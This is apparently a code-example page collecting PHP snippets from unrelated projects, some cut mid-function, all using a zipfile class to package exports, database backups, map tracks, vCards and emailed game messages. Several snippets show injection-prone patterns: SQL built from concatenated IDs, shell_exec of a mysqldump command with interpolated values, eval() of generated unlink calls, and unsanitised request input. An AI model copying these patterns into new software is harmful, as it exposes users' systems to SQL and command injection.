             $smarty->assign("selectedTables", $selectedTables);
             if ($debug) {
                 $debug_output .= "\r\n###############################################################\r\n" . "# {$templateFilename}\r\n###############################################################\r\n" . $smarty->fetch($templateFile->source) . "\r\n";
             } else {
                 // we don't like bare linefeed characters
                 $content = $body = preg_replace("/^(?=\n)|[^\r](?=\n)/", "\\0\r", $smarty->fetch($templateFile->source));
                 $zipFile->addFile($content, $templateFilename);
             }
         } else {
             // enumerate all selected tables and merge them with the selected template
             // append each to the zip file for output
             foreach ($tableNames as $tableName) {
                 $singular = $_REQUEST[$tableName . "_singular"];
                 $plural = $_REQUEST[$tableName . "_plural"];
                 $prefix = $_REQUEST[$tableName . "_prefix"];
                 $templateFilename = str_replace(array('{$singular}', '{$plural}', '{$table}', '{$appname}', '{$singular|lower}', '{$plural|lower}', '{$table|lower}', '{$appname|lower}', '{$singular|upper}', '{$plural|upper}', '{$table|upper}', '{$appname|upper}'), array($singular, $plural, $tableName, $appname, strtolower($singular), strtolower($plural), strtolower($tableName), strtolower($appname), strtoupper($singular), strtoupper($plural), strtoupper($tableName), strtoupper($appname)), $templateFile->destination);
                 $smarty->clearAllAssign();
                 $smarty->assign("appname", $appname);
                 $smarty->assign("singular", $singular);
                 $smarty->assign("plural", $plural);
                 $smarty->assign("prefix", $prefix);
                 $smarty->assign("templateFilename", $templateFilename);
                 $smarty->assign("table", $dbSchema->Tables[$tableName]);
                 $smarty->assign("connection", $cstring);
                 $smarty->assign("appRoot", $appRoot);
                 $smarty->assign("includePath", $includePath);
                 $smarty->assign("includePhar", $includePhar);
                 $smarty->assign("enableLongPolling", $enableLongPolling);
                 $smarty->assign("PHREEZE_VERSION", Phreezer::$Version);
                 $tableInfos = array();
                 // add all tables to a tableInfos array that can be used for cross-referencing by table name
                 foreach ($dbSchema->Tables as $table) {
                     if ($table->GetPrimaryKeyName()) {
                         $tableName = $table->Name;
                         $tableInfos[$tableName] = array();
                         $tableInfos[$tableName]['table'] = $dbSchema->Tables[$tableName];
                         $tableInfos[$tableName]['singular'] = $_REQUEST[$tableName . "_singular"];
                         $tableInfos[$tableName]['plural'] = $_REQUEST[$tableName . "_plural"];
                         $tableInfos[$tableName]['prefix'] = $_REQUEST[$tableName . "_prefix"];
                         $tableInfos[$tableName]['templateFilename'] = $templateFilename;
                     }
                 }
                 $smarty->assign("tableInfos", $tableInfos);
                 $smarty->assign("selectedTables", $selectedTables);
                 foreach ($parameters as $key => $val) {
                     $smarty->assign($key, $val);
                 }
                 //print "<pre>"; print_r($dbSchema->Tables[$tableName]->PrimaryKeyIsAutoIncrement()); die();
                 if ($debug) {
                     $debug_output .= "\r\n###############################################################\r\n" . "# {$templateFilename}\r\n###############################################################\r\n" . $smarty->fetch($templateFile->source) . "\r\n";
                 } else {
                     $zipFile->addFile($smarty->fetch($templateFile->source), $templateFilename);
                 }
             }
         }
     }
     if ($debug) {
         header("Content-type: text/plain");
         print $debug_output;
     } else {
         // now output the zip as binary data to the browser
         header("Content-type: application/force-download");
         // laplix 2007-11-02.
         // Use the application name provided by the user in show_tables.
         //header("Content-disposition: attachment; filename=".str_replace(" ","_",$G_CONNSTR->DBName).".zip");
         header("Content-disposition: attachment; filename=" . str_replace(" ", "_", strtolower(str_replace("/", "", $appRoot))) . ".zip");
         header("Content-Transfer-Encoding: Binary");
         header('Content-Type: application/zip');
         print $zipFile->file();
     }
 }
Exemple #11
0
function export_article_file($data, $filename)
{
    $text = base64_encode(serialize($data));
    require_once libfile('class/zip');
    $zip = new zipfile();
    $zip->addFile($text, $filename . '.txt');
    $text = $zip->file();
    export_file($text, $filename . '.zip');
}
Exemple #12
0
 }
 // Do the compression
 // 1. as a gzipped file
 if (isset($compression) && $compression == 'zip') {
     if (@function_exists('gzcompress')) {
         if ($type == 'csv') {
             $extbis = '.csv';
         } else {
             if ($type == 'xml') {
                 $extbis = '.xml';
             } else {
                 $extbis = '.sql';
             }
         }
         $zipfile = new zipfile();
         $zipfile->addFile($dump_buffer, $filename . $extbis);
         $dump_buffer = $zipfile->file();
     }
 } else {
     if (isset($compression) && $compression == 'bzip') {
         if (@function_exists('bzcompress')) {
             $dump_buffer = bzcompress($dump_buffer);
             if ($dump_buffer === -8) {
                 require_once './header.inc.php';
                 echo sprintf($strBzError, '<a href="http://bugs.php.net/bug.php?id=17300" target="_blank">17300</a>');
                 require_once './footer.inc.php';
             }
         }
     } else {
         if (isset($compression) && $compression == 'gzip') {
             if (@function_exists('gzencode')) {
Exemple #13
0
			$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
			@unlink($dumpfile);

			$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
			@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="******" --password="******" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);

			if(@file_exists($dumpfile)) {

				if($usezip) {
					require_once DISCUZ_ROOT.'admin/zip.func.php';
					$zip = new zipfile();
					$zipfilename = $backupfilename.'.zip';
					$fp = fopen($dumpfile, "r");
					$content = @fread($fp, filesize($dumpfile));
					fclose($fp);
					$zip->addFile($idstring."# <?exit();?>\n ".$setnames."\n #".$content, basename($dumpfile));
					$fp = fopen($zipfilename, 'w');
					@fwrite($fp, $zip->file());
					fclose($fp);
					@unlink($dumpfile);
					@touch('./forumdata/'.$backupdir.'/index.htm');
					$filename = $backupfilename.'.zip';
					unset($sqldump, $zip, $content);
					cpmsg('database_export_zip_succeed');
				} else {
					if(@is_writeable($dumpfile)) {
						$fp = fopen($dumpfile, 'rb+');
						@fwrite($fp, $idstring."# <?exit();?>\n ".$setnames."\n #");
						fclose($fp);
					}
					@touch('./forumdata/'.$backupdir.'/index.htm');
 function _exportTheme($iThemeId)
 {
     $aTheme = $this->_oDb->getThemeById($iThemeId);
     if (empty($aTheme)) {
         return;
     }
     $sConf = "\$sThemeName = '{$aTheme['name']}';\n";
     $sConf .= "\$sThemeStyle = '{$aTheme['css']}';\n";
     $sImagesPath = $this->_getImagesDir();
     $oZipFile = new zipfile();
     $oZipFile->addFile($sConf, BX_PROFILE_CUSTOMIZE_THEME_CONF);
     $sFile = $sImagesPath . BX_PROFILE_CUSTOMIZE_THEME_PREFIX . $iThemeId . BX_PROFILE_CUSTOMIZE_THUMB_EXT;
     if (file_exists($sFile)) {
         $oData = implode("", file($sFile));
         $oZipFile->addFile($oData, BX_PROFILE_CUSTOMIZE_THEME_THUMB);
     }
     $aImages = $this->_getImages(unserialize($aTheme['css']));
     foreach ($aImages as $sImage) {
         $sFile = $sImagesPath . $sImage;
         if (file_exists($sFile)) {
             $oData = implode("", file($sFile));
             $oZipFile->addFile($oData, 'images/' . $sImage);
         }
     }
     header("Content-type: application/octet-stream");
     header("Content-disposition: attachment; filename={$aTheme['name']}.dfn");
     echo $oZipFile->file();
     exit;
 }
Exemple #15
0
function generate_kmz_track($jsonTrack)
{
    $track = @json_decode($jsonTrack, true);
    if (!isset($track['nbTrackPt']) || $track['nbTrackPt'] < 5) {
        exit;
    }
    $zip = new zipfile();
    $plain = generate_kml_track($jsonTrack);
    $altitude = generate_colored_track($jsonTrack, 'elev', 'm', $minAlti, $maxAlti);
    $vario = generate_colored_track($jsonTrack, 'vario', 'm/s', $minVario, $maxVario);
    $speed = generate_colored_track($jsonTrack, 'speed', 'km/h', $minSpeed, $maxSpeed);
    $description = "Created by VisuGps [www.victorb.fr]<br/><br/>\n" . "<table width=300><tr><td align='left'>{$minAlti}</td><td align='right'>{$maxAlti}m</td></tr>\n" . "<tr><td colspan=2><img src='scale.png' height=30 width=300></td></tr>\n" . "<tr><td align='left'>{$minSpeed}</td><td align='right'>{$maxSpeed}km/h</td></tr>\n" . "<tr><td colspan=2><img src='scale.png' height=30 width=300></td></tr>\n" . "<tr><td align='left'>{$minVario}</td><td align='right'>{$maxVario}m/s</td></tr>\n" . "<tr><td colspan=2><img src='scale.png' height=30 width=300></td></tr>\n";
    $file = sprintf("<?xml version='1.0' encoding='UTF-8'?>\n" . "<kml xmlns='http://earth.google.com/kml/2.2'>\n" . "    <Document>\n" . "        <name><![CDATA[%s]]></name>\n" . "        <LookAt>\n" . "           <longitude>%010.6f</longitude>\n" . "           <latitude>%010.6f</latitude>\n" . "           <range>32000</range>\n" . "           <tilt>64</tilt>\n" . "           <heading>0</heading>\n" . "        </LookAt>\n" . "        <open>1</open>\n" . "        <visibility>1</visibility>\n" . "        <description>\n" . "            <![CDATA[%s]]>\n" . "        </description>\n" . "        <Style id='tracks'>\n" . "            <ListStyle>\n" . "                <listItemType>radioFolder</listItemType>\n" . "            </ListStyle>\n" . "        </Style>\n" . "        <styleUrl>#tracks</styleUrl>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>0</visibility>\n" . "            <name>Plain</name>\n" . "            <Link><href>plain.kml</href></Link>\n" . "        </NetworkLink>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>1</visibility>\n" . "            <name>Altitude</name>\n" . "            <Link><href>altitude.kml</href></Link>\n" . "        </NetworkLink>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>0</visibility>\n" . "            <name>Speed</name>\n" . "            <Link><href>speed.kml</href></Link>\n" . "        </NetworkLink>\n" . "        <NetworkLink>\n" . "            <open>0</open>\n" . "            <visibility>0</visibility>\n" . "            <name>Vario</name>\n" . "            <Link><href>vario.kml</href></Link>\n" . "        </NetworkLink>\n" . "    </Document>\n" . "</kml>", $track['pilot'], $track['lon'][0], $track['lat'][0], $description);
    $zip->addFile($file, "main.kml");
    $zip->addFile(create_scale_image(300, 30), "scale.png");
    $zip->addFile($plain, "plain.kml");
    $zip->addFile($altitude, "altitude.kml");
    $zip->addFile($vario, "vario.kml");
    $zip->addFile($speed, "speed.kml");
    return $zip->file();
}
// files that MUST be included but are excluded from the list by the rules
$zipfile->addFile(file_get_contents(NAVIGATE_PATH . '/.htaccess'), '.htaccess');
$zipfile->addFile(file_get_contents(NAVIGATE_PATH . '/private/.htaccess'), 'private/.htaccess');
$zipfile->addFile(file_get_contents(NAVIGATE_PATH . '/plugins/.htaccess'), 'plugins/.htaccess');
$zipfile->addFile(file_get_contents(NAVIGATE_PATH . '/private/sessions/.htaccess'), 'private/sessions/.htaccess');
$zipfile->addFile(file_get_contents(NAVIGATE_PATH . '/private/oembed/.htaccess'), 'private/oembed/.htaccess');
$zipfile->addFile(file_get_contents(NAVIGATE_PATH . '/web/.htaccess.example'), 'web/.htaccess.example');
$zipfile->addFile('', 'cache/empty.txt');
$zipfile->addFile('', 'updates/empty.txt');
$zipfile->addFile(file_get_contents(NAVIGATE_PATH . '/themes/theme_kit.zip'), 'themes/theme_kit.zip');
$contents = $zipfile->file();
file_put_contents("distribution/package.zip", $contents);
unset($zipfile);
/*	6/ Repack SQL, logo, setup.php and package.zip as Navigate.zip	*/
$zipfile = new zipfile();
$zipfile->addFile(file_get_contents('setup.php'), 'setup.php');
$zipfile->addFile(file_get_contents('distribution/navigate.sql'), 'navigate.sql');
$zipfile->addFile(file_get_contents('distribution/package.zip'), 'package.zip');
file_put_contents("navigate-" . $current_version->version . "r" . $current_version->revision . ".zip", $zipfile->file());
/*	7/ Remove temporary files	*/
rrmdir('distribution');
core_terminate();
function rrmdir($dir)
{
    if (is_dir($dir)) {
        $objects = scandir($dir);
        foreach ($objects as $object) {
            if ($object != "." && $object != "..") {
                if (filetype($dir . "/" . $object) == "dir") {
                    rrmdir($dir . "/" . $object);
                } else {
Exemple #17
0
 function send($recipient)
 {
     // if there are no messages, dont do anything
     if (!sizeof($this->messages)) {
         return;
     }
     // concatenate those messages
     $mail = "";
     foreach ($this->messages as $message) {
         $mail .= sprintf('%s: %s<br />' . '%s: %s<br />' . '%s: %s<br />' . '%s: %s<br />' . '%s<br /><hr />', _('Absender'), $message->sender, _('Empfänger'), $message->recipient, _('Datum'), $message->time, _('subject'), $message->subject, $message->text);
     }
     // add headers
     $mail = '<html><head><meta http-equiv="Content-type" content="text/html; charset=UTF-8" /></head><body>' . $mail . '</body></html>';
     // zip it
     require_once "zip.lib.php";
     $time_now = date("YmdHis", time());
     $zipfile = new zipfile();
     $zipfile->addFile($mail, "mail." . $time_now . ".html");
     $mail = $zipfile->file();
     // put mail together
     $mail_from = "*****@*****.**";
     $filename = "mail." . $time_now . ".zip";
     $filedata = chunk_split(base64_encode($mail));
     $mail_boundary = '=_' . md5(uniqid(rand()) . microtime());
     // create header
     $mime_type = "application/zip-compressed";
     $mail_headers = "From: {$mail_from}\n" . "MIME-version: 1.0\n" . "Content-type: multipart/mixed; " . "boundary=\"{$mail_boundary}\"\n" . "Content-transfer-encoding: 8BIT\n" . "X-attachments: {$filename};\n\n";
     // hier fängt der normale mail-text an
     $mail_headers .= "--{$mail_boundary}\n" . "Content-Type: text/plain; charset=\"UTF-8\"\n\n" . _("Hallo,\n\ndu hast im Nachrichten Fenster auf den Knopf 'Mailen&löschen' gedrückt. Die dabei markierten Nachrichten werden dir nun mit dieser Email zugesandt. Um den Datenverkehr gering zu halten, wurden dabei deine Nachrichten komprimiert. Mit einschlägigen Programmen wie WinZip lässt sich diese Datei entpacken.\n\nGruß, dein UA-Team") . "\n";
     // hier fängt der datei-anhang an
     $mail_headers .= "--{$mail_boundary}\n" . "Content-type: {$mime_type}; name=\"{$filename}\";\n" . "Content-Transfer-Encoding: base64\n" . "Content-disposition: attachment; filename=\"{$filename}\"\n\n" . $filedata;
     // gibt das ende der email aus
     $mail_headers .= "\n--{$mail_boundary}--\n";
     // und abschicken
     mail($recipient, _('Deine Uga-Agga InGame Nachrichten'), "", $mail_headers);
 }
/**
 * $Project: GeoGraph $
 * $Id: years.php 3514 2007-07-10 21:09:55Z barry $
 * 
 * GeoGraph geographic photo archive project
 * This file copyright (C) 2005 Barry Hunter (geo@barryhunter.co.uk)
 * 
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 * 
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 */
include "geograph/zip.class.php";
$zipfile = new zipfile();
$xml = file_get_contents("../../modules/picasa/{1563f71e-b0c6-4ff5-a3e0-402a70bc357d}.pbf");
$xml = str_replace("domain.com", $_SERVER['HTTP_HOST'], $xml);
$zipfile->addFile($xml, "{1563f71e-b0c6-4ff5-a3e0-402a70bc357d}.pbf");
// add the binary data stored in the string 'filedata'
$zipfile->addFile(file_get_contents("../../modules/picasa/{1563f71e-b0c6-4ff5-a3e0-402a70bc357d}.psd"), "{1563f71e-b0c6-4ff5-a3e0-402a70bc357d}.psd");
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"geograph-for-picasa.pbz\"");
print $zipfile->file();
Exemple #19
0
/**
 *
 */
function messages_mailAndDeleteMessages($messageIDs)
{
    global $db, $params;
    // get valid messages
    $IDs = implode($messageIDs, ", ");
    $sql = 'SELECT m.recipientID, m.senderID, p.name, m.messageSubject, m.messageText, ' . 'DATE_FORMAT(m.messageTime, "%d.%m.%Y %H:%i:%s") AS messageTime ' . 'FROM `Message` m ' . 'LEFT JOIN Player p ON ' . 'IF (m.recipientID = ' . $params->SESSION->user['playerID'] . ', m.senderID = p.playerID, m.recipientID = p.playerID) ' . 'WHERE messageID IN (' . $IDs . ') AND ' . 'IF (recipientDeleted = ' . $params->SESSION->user['playerID'] . ', recipientDeleted = 0, senderDeleted = 0)';
    $dbresult = $db->query($sql);
    if (!$dbresult || $dbresult->isEmpty()) {
        return 0;
    }
    // nun zusammen schreiben
    $mail = "";
    while ($row = $dbresult->nextRow(MYSQL_ASSOC)) {
        $mail .= sprintf("Von:     %s<br>An:      %s<br>Betreff: %s<br>Datum: %s<p>%s<p>" . "----------------------------------------------------------------------------------------<p>", $row['senderID'] == $params->SESSION->user['playerID'] ? $params->SESSION->user['name'] : $row['name'], $row['recipientID'] == $params->SESSION->user['playerID'] ? $params->SESSION->user['name'] : $row['name'], $row['messageSubject'], $row['messageTime'], $row['messageText']);
    }
    if ($mail != "") {
        $mail = "<html><body>" . $mail . "</body></html>";
        // zip it
        require_once "zip.lib.php";
        $time_now = date("YmdHis", time());
        $zipfile = new zipfile();
        $zipfile->addFile($mail, "mail." . $time_now . ".html");
        $mail = $zipfile->file();
        // put mail together
        $mail_from = "*****@*****.**";
        $mail_subject = "Deine Uga-Agga InGame Nachrichten";
        $mail_text = "Hallo,\n\n" . "du hast im Nachrichten Fenster auf den Knopf 'Mailen&löschen' " . "gedrückt. Die dabei markierten Nachrichten werden dir nun mit dieser " . "Email zugesandt. Um den Datenverkehr gering zu halten, " . "wurden dabei deine Nachrichten komprimiert. Mit einschlägigen " . "Programmen wie WinZip lässt sich diese Datei entpacken." . "\n\nGruß, dein UA-Team";
        $filename = "mail." . $time_now . ".zip";
        $filedata = chunk_split(base64_encode($mail));
        $mail_boundary = '=_' . md5(uniqid(rand()) . microtime());
        // create header
        $mime_type = "application/zip-compressed";
        $mail_headers = "From: {$mail_from}\n" . "MIME-version: 1.0\n" . "Content-type: multipart/mixed; " . "boundary=\"{$mail_boundary}\"\n" . "Content-transfer-encoding: 7BIT\n" . "X-attachments: {$filename};\n\n";
        // hier fängt der normale mail-text an
        $mail_headers .= "--{$mail_boundary}\n" . "Content-Type: text/plain; charset=\"iso-8859-1\"\n\n" . $mail_text . "\n";
        // hier fängt der datei-anhang an
        $mail_headers .= "--{$mail_boundary}\n" . "Content-type: {$mime_type}; name=\"{$filename}\";\n" . "Content-Transfer-Encoding: base64\n" . "Content-disposition: attachment; filename=\"{$filename}\"\n\n" . $filedata;
        // gibt das ende der email aus
        $mail_headers .= "\n--{$mail_boundary}--\n";
        // und abschicken
        mail($params->SESSION->user['email2'], $mail_subject, "", $mail_headers);
    }
    return messages_deleteMessages($messageIDs);
}
Exemple #20
0
function doVcards($single, $extension, $targetcode, $zip)
{
    $sql = "select * from tempcsvdata where uid = '" . $_SESSION["loginCRM"] . "' order by id";
    $csvdata = $_SESSION['db']->getAll($sql);
    if ($csvdata) {
        $pfad = $_SESSION["login"] . "/vcard";
        chkdir($pfad, '.');
        $pfad = "../dokumente/" . $_SESSION["dbname"] . "/" . $pfad . "/";
        $felder = explode(":", $csvdata[0]["csvdaten"]);
        $personen = False;
        if (in_array("TITEL", $felder)) {
            $personen = True;
        }
        $i = 0;
        foreach ($felder as $feld) {
            $felder[$feld] = $i++;
        }
        array_shift($csvdata);
        if ($single) {
            if ($personen) {
                $filename = "Pvcard." . $extension;
            } else {
                $filename = "Fvcard." . $extension;
            }
            $f = fopen($pfad . $filename, "w");
        }
        $srvcode = strtoupper($_SESSION["charset"]);
        $cnt = 0;
        foreach ($csvdata as $row) {
            $vcard = new Contact_Vcard_Build();
            if ($targetcode != $srvcode) {
                $row["csvdaten"] = iconv($srvcode, $targetcode, $row["csvdaten"]);
            }
            $data = explode(":", $row["csvdaten"]);
            $vcard->setFormattedName($data[$felder["NAME1"]]);
            if ($data[$felder["NAME2"]]) {
                if ($personen) {
                    $vcard->setName($data[$felder["NAME2"]], $data[$felder["NAME1"]], "", $data[$felder["ANREDE"]], $data[$felder["TITEL"]]);
                } else {
                    $vcard->setName($data[$felder["NAME1"]], $data[$felder["NAME2"]], "", "", "");
                }
            } else {
                if ($personen) {
                    $vcard->setName($data[$felder["NAME1"]], "", "", $data[$felder["ANREDE"]], $data[$felder["TITEL"]]);
                } else {
                    $vcard->setName($data[$felder["NAME1"]], "", "", "", "");
                }
            }
            $vcard->addAddress('', '', $data[$felder["STRASSE"]], $data[$felder["ORT"]], '', $data[$felder["PLZ"]], $data[$felder["LAND"]]);
            $vcard->addParam('TYPE', 'WORK');
            if ($personen) {
                $vcard->addOrganization($data[$felder["FIRMA"]]);
            } else {
                $vcard->addOrganization($data[$felder["NAME1"]]);
                $vcard->addOrganization($data[$felder["NAME2"]]);
            }
            if ($data["email"]) {
                $vcard->addEmail($data[$felder["EMAIL"]]);
                $vcard->addParam('TYPE', 'WORK');
            }
            if ($data["phone"]) {
                $vcard->addTelephone($data[$felder["TEL"]]);
                $vcard->addParam('TYPE', 'WORK');
            }
            if ($data["fax"]) {
                $vcard->addTelephone($data[$felder["FAX"]]);
                $vcard->addParam('TYPE', 'FAX');
            }
            // get back the vCard and print it
            $text = $vcard->fetch();
            if (!$single) {
                if ($personen) {
                    $f = fopen($pfad . "/" . $data[$felder["ID"]] . $data[$felder["NAME1"]] . "_vcard." . $extension, "w");
                } else {
                    $f = fopen($pfad . "/" . $data[$felder["KDNR"]] . "_vcard." . $extension, "w");
                }
                fputs($f, $text);
                fclose($f);
            } else {
                fputs($f, $text);
            }
            unset($vcard);
            unset($text);
            $cnt++;
        }
        if ($single) {
            fclose($f);
        }
        if ($zip) {
            require 'pclzip.lib.php';
            require 'zip.lib.php';
            if (!$single) {
                $oldpath = getCWD();
                chdir($pfad);
                $archiveFiles = glob("*_vcard." . $extension);
                chdir($oldpath);
            } else {
                //$archiveFiles[] = "vcard.".$_POST["extension"];
                $archiveFiles[] = $filename;
            }
            $filename = "vcard." . $extension . ".zip";
            $archive = new PclZip($pfad . $filename);
            $v_list = $archive->create($pfad . $_SESSION["login"], '', $pfad . $_SESSION["login"], '', "vcardPreAdd");
            $zip = new zipfile();
            for ($i = 0; $i < count($archiveFiles); $i++) {
                $file = $archiveFiles[$i];
                // zip.lib dirty hack
                $fp = fopen($pfad . $file, "r");
                $content = @fread($fp, filesize($pfad . $file));
                fclose($fp);
                $zip->addFile($content, $file);
                unlink($pfad . $file);
            }
            $fp = fopen($pfad . $filename, "w+");
            fputs($fp, $zip->file());
            fclose($fp);
        }
        if ($single || $zip) {
            echo "[<a href='" . $pfad . $filename . "'>download</a>]<br />";
        } else {
        }
    }
    echo "{$cnt} Adressen bearbeitet.";
}
Exemple #21
0
	function DoExport()
	{
		$this->CheckAdminPrivs('dbexport');
		global $sizelimit, $startrow, $extendins, $sqlcompat, $sqlcharset, $dumpcharset, $usehex, $complete, $excepttables;
		extract($this->Post);extract($this->Get);

		$excepttables=array(TABLE_PREFIX."sessions",);

		$time=$timestamp=time();
		$tablepre=TABLE_PREFIX;

		$this->DatabaseHandler->Query('SET SQL_QUOTE_SHOW_CREATE=1', 'SKIP_ERROR');
		if(!$filename || preg_match("/(\.)(exe|jsp|asp|aspx|cgi|fcgi|pl)(\.|$)/i", $filename))
		{
			$this->Messager("备份文件名无效");
		}

				if($type == 'all_tables') {
			$tables = $this->_array_keys2($this->_fetch_table_list($tablepre), 'Name');
		}
		elseif($type == 'custom')
		{
			$tables = array();
			if(empty($setup))
			{
				$tables=cache("tables",-1,true);
			}
			else
			{
				cache('tables',-1);
				cache($customtables);
				$tables = & $customtables;
			}
			if( !is_array($tables) || empty($tables))
			{
				$this->Messager("没有要导出的数据表");
			}
		}


		$volume = intval($volume) + 1;
		$idstring = '# Identify: '.base64_encode("$timestamp,".SYS_VERSION.",$type,$method,$volume")."\n";


		$dumpcharset = $sqlcharset ? $sqlcharset : str_replace('-', '', $this->Config['charset']);
		$setnames = ($sqlcharset && $this->DatabaseHandler->GetVersion() > '4.1' && (!$sqlcompat || $sqlcompat == 'MYSQL41')) ? "SET NAMES '$dumpcharset';\n\n" : '';
		if($this->DatabaseHandler->GetVersion() > '4.1') {
			if($sqlcharset) {
				$this->DatabaseHandler->Query("SET NAMES '".$sqlcharset."';\n\n");
			}
			if($sqlcompat == 'MYSQL40') {
				$this->DatabaseHandler->Query("SET SQL_MODE='MYSQL40'");
			} elseif($sqlcompat == 'MYSQL41') {
				$this->DatabaseHandler->Query("SET SQL_MODE=''");
			}
		}

		
		$backupdir = 'db/' . ($f = str_replace(array('/', '\\', '.'), '', $filename));
		$backupfilename = './backup/'.$backupdir.'/'.$f;
		if (!is_dir(($d = dirname($backupfilename)))) {
			$load = new Load();
			$load->lib('io');
			$IoHandler = new IoHandler();
			$IoHandler->MakeDir($d);
		}
		

		if($usezip) {
			require_once FUNCTION_PATH.'zip.func.php';
		}

		if($method == 'multivol') {
			$sqldump = '';
			$tableid = intval($tableid);
			$startfrom = intval($startfrom);
			
			$complete = TRUE;

			for(; $complete && $tableid < count($tables) && strlen($sqldump) + 500 < $sizelimit * 1000; $tableid++) {
				$sqldump .= $this->_sql_dump_table($tables[$tableid], $startfrom, strlen($sqldump));
				if($complete) {
					$startfrom = 0;
				}
			}
			
			$dumpfile = $backupfilename."-%s".'.sql';
			!$complete && $tableid--;
			if(trim($sqldump)) {
				$sqldump = "$idstring".
				"# <?exit();?>\n".
				"# TTTuangou Multi-Volume Data Dump Vol.$volume\n".
				"# Version: TTTuangou ".SYS_VERSION."\n".
				"# Time: $time\n".
				"# Type: $type\n".
				"# Table Prefix: $tablepre\n".
				"#\n".
				"# TTTuangou Home: http:\/\/www.tttuangou.net\n".
				"# Please visit our website for newest infomation about TTTuangou\n".
				"# --------------------------------------------------------\n\n\n".
				"$setnames".
				$sqldump;
				$dumpfilename = sprintf($dumpfile, $volume);
				@$fp = fopen($dumpfilename, 'wb');
				@flock($fp, 2);
				if(@!fwrite($fp, $sqldump)) {
					@fclose($fp);
					$this->Messager("备份文件名有问题");
				} else {
					fclose($fp);
					if($usezip == 2) {
						$fp = fopen($dumpfilename, "r");
						$content = @fread($fp, filesize($dumpfilename));
						fclose($fp);
						$zip = new zipfile();
						$zip->addFile($content, basename($dumpfilename));
						$fp = fopen(sprintf($backupfilename."-%s".'.zip', $volume), 'w');
						if(@fwrite($fp, $zip->file()) !== FALSE) {
							@unlink($dumpfilename);
						}
						fclose($fp);
					}
					unset($sqldump, $zip, $content);
					$this->Messager("分卷备份: 数据文件 #{$volume} 成功创建,程序将自动继续。
", "admin.php?mod=db&code=doexport&type=".rawurlencode($type)."&saveto=server&filename=".rawurlencode($filename)."&method=multivol&sizelimit=".rawurlencode($sizelimit)."&volume=".rawurlencode($volume)."&tableid=".rawurlencode($tableid)."&startfrom=".rawurlencode($startrow)."&extendins=".rawurlencode($extendins)."&sqlcharset=".rawurlencode($sqlcharset)."&sqlcompat=".rawurlencode($sqlcompat)."&exportsubmit=yes&usehex=$usehex&usezip=$usezip");

				}
			} else {
				$volume--;
				$filelist = '<ul>';

				if($usezip == 1) {
					$zip = new zipfile();
					$zipfilename = $backupfilename.'.zip';
					$unlinks = '';
					for($i = 1; $i <= $volume; $i++) {
						$filename = sprintf($dumpfile, $i);
						$fp = fopen($filename, "r");
						$content = @fread($fp, filesize($filename));
						fclose($fp);
						$zip->addFile($content, basename($filename));
						$unlinks .= "@unlink('$filename');";
						$filelist .= "<li><a href=\"$filename\">$filename\n";
					}
					$fp = fopen($zipfilename, 'w');
					if(@fwrite($fp, $zip->file()) !== FALSE) {
						eval($unlinks);
					} else {
						$this->Messager('database_export_multivol_succeed');
					}
					unset($sqldump, $zip, $content);
					fclose($fp);
					@touch('./backup/'.$backupdir.'/index.htm');
					$filename = $zipfilename;
					$this->Messager("数据成功备份并压缩至服务器 <a href=\"$filename\">$filename</a> 中。",null);
				} else {
					@touch('./backup/'.$backupdir.'/index.htm');
					for($i = 1; $i <= $volume; $i++) {
						$filename = sprintf($usezip == 2 ? $backupfilename."-%s".'.zip' : $dumpfile, $i);
						$filelist .= "<li><a href=\"$filename\">$filename\n";
					}
					$this->Messager("恭喜您,全部 $volume 个备份文件成功创建,备份完成。
".$filelist ,null);
				}
			}

		} else {

			$tablesstr = '';
			foreach($tables as $table) {
				$tablesstr .= '"'.$table.'" ';
			}

			require './config.inc.php';
			list($dbhost, $dbport) = explode(':', $dbhost);

			$query = $this->DatabaseHandler->Query("SHOW VARIABLES LIKE 'basedir'");
			list(, $mysql_base) = $db->fetch_array($query, MYSQL_NUM);

			$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
			@unlink($dumpfile);

			$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
			@shell_exec($mysqlbin.'mysqldump --force --quick '.($this->DatabaseHandler->GetVersion() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($this->DatabaseHandler->GetVersion() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="******" --password="******" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);

			if(@is_file($dumpfile)) {

				if($usezip) {
					require_once FUNCTION_PATH.'zip.func.php';
					$zip = new zipfile();
					$zipfilename = $backupfilename.'.zip';
					$fp = fopen($dumpfile, "r");
					$content = @fread($fp, filesize($dumpfile));
					fclose($fp);
					$zip->addFile($idstring."# <?exit();?>\n ".$setnames."\n #".$content, basename($dumpfile));
					$fp = fopen($zipfilename, 'w');
					@fwrite($fp, $zip->file());
					fclose($fp);
					@unlink($dumpfile);
					@touch('./backup/'.$backupdir.'/index.htm');
					$filename = $backupfilename.'.zip';
					unset($sqldump, $zip, $content);
					$this->Messager('database_export_zip_succeed');
				} else {
